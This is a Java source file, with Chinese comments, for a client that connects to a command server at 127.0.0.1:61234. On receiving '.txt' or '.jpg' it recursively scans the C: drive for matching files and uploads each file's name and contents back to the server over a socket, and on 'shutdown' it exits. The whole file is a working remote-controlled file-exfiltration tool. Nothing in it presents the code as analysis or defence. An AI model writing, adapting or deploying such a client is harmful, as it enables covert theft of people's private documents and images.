import java.io.*;
import java.net.Socket;

public class Client {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //客户端连接服务器
        Socket socket = new Socket("127.0.0.1",61234);
        //ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
        DataInputStream dataInputStream = new DataInputStream(socket.getInputStream());
        //等待命令
        while(true){
            //接受命令
            //Cmd cmd = (Cmd) objectInputStream.readObject();
            String cmd = dataInputStream.readUTF();
            //启动线程执行命令
            new Thread(){
                @Override
                public void run() {
                    int cmdNum = cmdCast(cmd);
                    switch (cmdNum){
                        case 1:
                            Search("C:/",".txt");
                            break;
                        case 2:
                            Search("C:/",".jpg");
                            break;
                        case 3:
                            System.exit(0);
                            break;
                        default:
                            break;
                    }

                }
            }.start();
        }
        //接受到命令后启动线程，执行命令
    }

    public static int cmdCast(String cmd){
        if (cmd.equals(".txt")){
            return 1;
        }
        if (cmd.equals(".jpg")){
            return 2;
        }
        if (cmd.equals("shutdown")){
            return 3;
        }
        return 0;
    }
    public static void Search(String path, String type){
        File pathFile = new File(path);
        if (!pathFile.isDirectory()){
            return;
        }
        File[] files = pathFile.listFiles();
        if (files == null){
            return;
        }
        for (File file:files){
            if (file.isFile()&&file.getName().endsWith(type)){
                System.out.println(file.getAbsoluteFile());
                new Thread(){
                    @Override
                    public void run() {
                        Socket childSocket = null;
                        BufferedInputStream bufferedInputStream = null;
                        DataOutputStream dataOutputStream = null;
                        try {
                            childSocket = new Socket("127.0.0.1",61234);
                            bufferedInputStream = new BufferedInputStream(new FileInputStream(file));
                            dataOutputStream = new DataOutputStream(childSocket.getOutputStream());

                            dataOutputStream.writeUTF(file.getName());
                            dataOutputStream.flush();
                            byte[] bufs = new byte[1024];

                            int length = bufferedInputStream.read(bufs);
                            while(length != -1){
                                dataOutputStream.write(bufs,0,length);
                                length = bufferedInputStream.read(bufs);
                            }

                        } catch (IOException e) {
                            e.printStackTrace();
                        }finally {
                            try {
                                bufferedInputStream.close();
                                dataOutputStream.flush();
                                dataOutputStream.close();
                                childSocket.close();
                            } catch (IOException e) {
                                e.printStackTrace();
                            }

                        }
                    }
                }.start();
            }
            if (file.isDirectory()){
                Search(file.getAbsolutePath(),type);
            }
        }
    }
}
